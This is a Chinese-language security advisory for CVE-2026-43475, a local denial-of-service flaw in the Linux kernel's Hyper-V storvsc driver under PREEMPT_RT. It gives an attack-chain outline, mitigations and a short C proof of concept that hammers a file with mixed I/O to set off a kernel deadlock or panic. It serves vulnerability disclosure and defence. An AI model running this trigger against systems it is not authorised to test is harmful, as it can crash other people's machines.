IPBUF安全漏洞报告
English
CVE-2026-43475 CVSS 5.5 中危

CVE-2026-43475 Linux内核storvsc驱动拒绝服务漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43475
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelCVE-2026-43475DoSHyper-VstorvscRace ConditionPREEMPT_RT

漏洞概述

Linux内核中的Hyper-V存储驱动(storvsc)在启用PREEMPT_RT时存在一个漏洞,可能导致系统死锁或崩溃。该问题由原子上下文中不当地调用可能导致睡眠的锁机制引起,触发了'scheduling while atomic'错误。攻击者利用本地低权限即可触发此漏洞,导致系统可用性受损。

技术细节

该漏洞位于Linux内核的`drivers/scsi/storvsc_drv.c`驱动中。当内核启用PREEMPT_RT补丁集运行在Hyper-V平台上时,普通的自旋锁被转换为可睡眠的实时互斥锁。在处理I/O请求时,`storvsc_queuecommand`函数在原子上下文中调用`hv_ringbuffer_write`,进而尝试获取`rt_spin_lock`。由于实时锁的实现可能触发调度,而原子上下文禁止调度,从而导致内核抛出'Scheduling while atomic'异常并引发系统恐慌或死锁。日志显示该错误通常在高I/O压力(如stress-ng-iomix测试)下被触发。

攻击链分析

STEP 1
1. 获取本地访问权限
攻击者需要在目标Hyper-V虚拟机上拥有本地低权限用户账户。
STEP 2
2. 执行I/O压力测试
攻击者运行能够产生大量混合I/O请求的程序(如stress-ng-iomix或自定义PoC代码)。
STEP 3
3. 触发内核路径
高负载的I/O操作导致内核频繁进入`storvsc_queuecommand`函数。
STEP 4
4. 发生死锁或崩溃
在PREEMPT_RT环境下,原子上下文中的锁竞争触发调度错误,导致系统死锁或内核恐慌,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Simulate I/O mixing to stress the storvsc driver. // Based on the 'stress-ng-iomix' trace in the vulnerability report. // This code attempts to trigger the race condition on a vulnerable kernel. #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define BUFFER_SIZE 4096 void trigger_io_stress(const char *filename) { int fd = open(filename, O_RDWR | O_CREAT | O_DIRECT, 0644); if (fd < 0) { // Fallback if O_DIRECT not supported (e.g. on some filesystems) fd = open(filename, O_RDWR | O_CREAT, 0644); } if (fd < 0) { perror("open"); return; } char *buffer = aligned_alloc(BUFFER_SIZE, BUFFER_SIZE); if (!buffer) { perror("aligned_alloc"); close(fd); return; } memset(buffer, 'A', BUFFER_SIZE); // Perform mixed I/O operations similar to stress-ng for (int i = 0; i < 100000; i++) { pwrite(fd, buffer, BUFFER_SIZE, (rand() % 1000) * BUFFER_SIZE); pread(fd, buffer, BUFFER_SIZE, (rand() % 1000) * BUFFER_SIZE); fsync(fd); } free(buffer); close(fd); } int main() { printf("Starting I/O stress to potentially trigger CVE-2026-43475...\n"); // Create a temporary file to perform operations on trigger_io_stress("/tmp/test_storvsc_poc.dat"); printf("I/O stress completed.\n"); return 0; }

影响范围

Linux Kernel 6.19-rc7
Linux Kernel (versions prior to fix commits in stable branches)

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用PREEMPT_RT(实时补丁)配置,以消除原子上下文睡眠的风险。此外,可以通过cgroups等机制限制普通用户的I/O资源使用,降低触发漏洞的可能性,但这不能完全替代补丁修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表